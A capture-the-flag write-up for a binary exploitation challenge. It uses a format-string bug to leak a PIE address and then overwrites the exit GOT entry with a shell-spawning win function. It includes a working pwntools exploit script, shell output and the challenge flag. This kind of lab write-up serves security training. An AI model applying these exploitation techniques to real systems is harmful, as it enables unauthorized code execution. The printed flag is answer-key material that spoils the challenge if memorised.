

fini

"Hope you can FINish this challenge."

First thing that I did was connect to the given container and when asked to enter my name i did the classic `%p%p%p%p` and sure enough, it spit out a bunch of pointers.

Now I just had to find a pointer into the binary itself to defeat PIE.

So I started playing with longer positional specifiers, like `%10$p` , `%20$p` , and so on, until I finally saw an address that started with `0x55...` . That's the typical base address for a PIE binary on Linux.

Once I had that leak, I checked the binary's symbols (using `objdump`) and saw that `main` was at offset `0x10b0` . So, I just did: `pie_base = leaked_addr - 0x10b0`.

Using `gdb` i found a function called `win` and disassembled it:

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  system@plt
0x0000000000001050  printf@plt
0x0000000000001060  fgets@plt
0x0000000000001070  setvbuf@plt
0x0000000000001080  __isoc99_scanf@plt
0x0000000000001090  exit@plt
0x00000000000010a0  __cxa_finalize@plt
0x00000000000010b0  main
0x0000000000001290  _start
0x00000000000012c0  deregister_tm_clones
0x00000000000012f0  register_tm_clones
0x0000000000001330  __do_global_ctors_aux
0x0000000000001370  frame_dummy
0x0000000000001380  win
0x000000000000138c  _fini
(gdb) disassemble win
Dump of assembler code for function win:
   0x0000000000001380 <+0>:    lea    0xc7d(%rip),%rdi    # 0x2004
   0x0000000000001387 <+7>:    jmp    0x1040 <system@plt>
End of assembler dump.
```

So, if I could get the program to call `win` , I'd get a shell.

I also noticed the menu's "exit" option called the actual C `exit()` function. Since the binary had no RELRO, the GOT was writable. That meant I could overwrite the GOT entry for `exit` with the address of `win` . So, when I chose the "exit" menu option, it would actually call `win` and spawn me a shell.

I ran this script:

```
from pwn import *
import re

HOST, PORT = "ctf.ac.upt.ro", 9861
MAIN_OFF = 0x10b0
WIN_OFF = 0x1380
EXIT_GOT_OFF = 0x3420

io = remote(HOST, PORT)
io.recvuntil(b"name?")
io.sendline(b"%31$p") # this index worked for me
data = io.recvuntil(b'>', timeout=2)
leak = int(re.search(rb'0x[0-9a-fA-F]+', data).group(), 16)
pie_base = leak - MAIN_OFF
win_addr = pie_base + WIN_OFF
exit_got = pie_base + EXIT_GOT_OFF

def write64(addr, val):
    io.sendline(b'1')
    io.recvuntil(b'Addr (hex):')
    io.sendline(f"{addr:x}".encode())
    io.recvuntil(b'Value (hex, 8 bytes):')
    io.sendline(f"{val:x}".encode())
    io.recvuntil(b'>')

write64(exit_got, win_addr)
io.sendline(b'2')
io.interactive()
```

I got a shell and using it i got the flag

```
└─$ python fini.py
[+] Opening connection to ctf.ac.upt.ro on port 9627: Done
[*] Switching to interactive mode
bye
$ ls
challenge
disable_aslr.sh
flag.txt
main.c
server.py
$ cat flag.txt
ctf{c503f30375fd0e91985b4d8f0c9cdc234c8018a8b3e1df3f4d1a126725f47d42}$
```

flag: ctf{c503f30375fd0e91985b4d8f0c9cdc234c8018a8b3e1df3f4d1a126725f47d42}